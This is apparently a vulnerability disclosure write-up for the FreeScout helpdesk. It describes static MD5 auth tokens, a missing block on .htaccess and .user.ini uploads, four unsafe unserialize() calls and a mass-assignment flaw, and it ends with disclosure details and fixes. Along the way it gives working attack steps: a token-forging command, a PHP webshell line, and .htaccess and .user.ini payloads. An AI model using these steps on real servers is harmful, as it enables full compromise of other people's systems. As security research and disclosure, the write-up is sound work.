Account Takeover
FreeScout: From APP_KEY Leak to Full Server Compromise
Static MD5 auth tokens, unrestricted .htaccess uploads, and four unsafe unserialize() calls chain together for full server compromise.
هذا المقال مكتوب ومنشور باللغة الإنجليزية فقط، للحفاظ على دقة التفاصيل التقنية للإفصاح الأصلي. يُعرض أدناه من اليسار إلى اليمين.
FreeScout is an open-source helpdesk built on Laravel. It's essentially a self-hosted alternative to Help Scout, and a lot of small businesses run it to handle customer support tickets. I audited the source code and found a chain of vulnerabilities that, combined, give you full server compromise starting from a leaked APP_KEY — something that happens more often than you'd think in Laravel deployments.
The Token Authentication Scheme
FreeScout has a middleware called TokenAuth that authenticates users via a token passed as a URL parameter. Here's how it works:
// app/Http/Middleware/TokenAuth.php
$user = User::where(
\DB::raw('md5(CONCAT(id, created_at, "'.config('app.key').'"))'),
$request->auth_token
)->first();
The authentication token for every user is MD5(user_id + created_at + APP_KEY). Three things are wrong with this:
- The token is static. It never changes. Once computed, it's valid forever. There's no expiration, no rotation, no way to invalidate it short of changing the APP_KEY (which breaks everything else in Laravel).
- The inputs are predictable.
user_idis sequential (admin is usually 1).created_attimestamps are often disclosed in API responses, user profiles, or can be narrowed down to a small window. The only secret isAPP_KEY. - APP_KEY leaks are common. Laravel's APP_KEY gets exposed through debug mode (Ignition error pages),
.envbackup files (.env.bak,.env.old), git repository exposure, phpinfo() pages, or error logs. It's one of the most common findings in Laravel pentests.
If you have the APP_KEY, you can compute a valid auth token for any user:
# Compute admin token (user_id=1, typical created_at format)
echo -n "12026-01-15 10:30:00base64:xxxxxxxxxxxxxxxxxxxxxxxxxx" | md5sum
# Use it
curl -b "in_app=1" "https://target.com/some-endpoint?auth_token=COMPUTED_HASH"
The in_app cookie just needs to exist with any value. That's the only other requirement besides the token.
Unrestricted .htaccess Upload → RCE
FreeScout maintains a blocklist of file extensions that can't be uploaded as attachments:
// app/Misc/Helper.php
public static $restricted_extensions = [
'php.*',
'sh',
'pl',
'phtml',
'phar',
];
Notice what's missing: .htaccess and .user.ini. Both of these can reconfigure Apache/PHP at the directory level.
The attack is straightforward:
-
Upload a
.htaccessfile as an email attachment with this content:AddType application/x-httpd-php .txt -
Upload a
.txtfile containing your PHP payload:<?php system($_GET['cmd']); ?> -
Access the .txt file through its attachment URL. Apache now treats .txt as PHP in that directory. Shell access.
Any authenticated user can do this — you don't need admin. And if the target runs Apache with AllowOverride enabled (the default in most setups), it works.
The .user.ini variant is even sneakier:
auto_prepend_file = /path/to/uploaded/webshell.txt
This makes PHP automatically include your file before every request in that directory. Persistent, invisible, survives server restarts.
Four Unsafe unserialize() Calls
FreeScout uses unserialize() without the allowed_classes restriction in four places. This means if an attacker can control the serialized data, they can instantiate arbitrary PHP objects and trigger RCE through POP (Property-Oriented Programming) chains. Laravel ships with plenty of gadget chains via Monolog, Guzzle, and SwiftMailer.
1. Failed Job Details
// app/Http/Controllers/SystemController.php:407
$payload = json_decode($job->payload, true);
if (!empty($payload['data']['command'])) {
$html .= '<pre>'.print_r(
unserialize($payload['data']['command']), 1 // no allowed_classes
).'</pre>';
}
When an admin views failed job details in the system panel, the serialized command payload is unserialized. If you can poison the failed_jobs table (via SQL injection elsewhere, or direct DB access), viewing the job triggers object instantiation → RCE.
2. Helper::decrypt()
// app/Misc/Helper.php:892
public static function decrypt($value, $password = null, $force_unserialize = false)
{
// ...decrypt...
if (preg_match("#^[idsa]:#", $value) || $force_unserialize) {
$value = unserialize($value); // "safe" because it only matches scalars
}
}
The comment says it only unserializes scalar types. But a: matches arrays, and arrays can contain nested objects: a:1:{i:0;O:...} matches ^a: and triggers full object deserialization. The regex-based "safety check" is broken.
3. Option::maybeUnserialize()
// app/Option.php:232
public static function maybeUnserialize($original)
{
if (self::isSerialized($original)) {
$original = unserialize($original); // no restriction
}
}
4. Job Model
// app/Job.php:53
return unserialize($payload['data']['command']);
Same pattern as the failed jobs — but this one processes active jobs, not just failed ones.
Mass Assignment: role in $fillable
The User model has a subtle Laravel gotcha:
// app/User.php
protected $guarded = ['role']; // line 104
protected $fillable = ['role', ...]; // line 120
In Laravel, when both $guarded and $fillable are defined, $fillable wins. The developer thought putting role in $guarded would protect it, but $fillable overrides that. The role field is mass-assignable.
The main profileSave() controller manually strips role for non-admins, but the Eventy hook user.save_profile passes the full request to third-party modules. Any module using $user->fill($request->all()) enables privilege escalation.
The Full Chain
These aren't just individual bugs — they chain together:
- Obtain APP_KEY — debug mode, .env backup, git exposure (extremely common in Laravel deployments)
- Compute admin TokenAuth —
MD5(1 + created_at + APP_KEY), token is valid forever - Authenticate as admin — set
in_appcookie +auth_tokenparameter - Upload .htaccess + webshell — or install a malicious module for cleaner persistence
- RCE
Alternatively, without APP_KEY:
- Any authenticated user uploads
.htaccess+ PHP payload as email attachments - Access the attachment URL → shell
Disclosure
Reported to support@freescout.net with full details and CVE requested from MITRE in February 2026.
Fix Recommendations
- Replace TokenAuth with HMAC-SHA256 + per-session tokens with expiration
- Add
.htaccess,.user.ini,.cgi,.config,.shtmlto the restricted extensions list - Add
['allowed_classes' => false]to all fourunserialize()calls, or migrate tojson_encode/json_decode - Remove
role,password,type,statusfromUser::$fillable— use explicit assignment only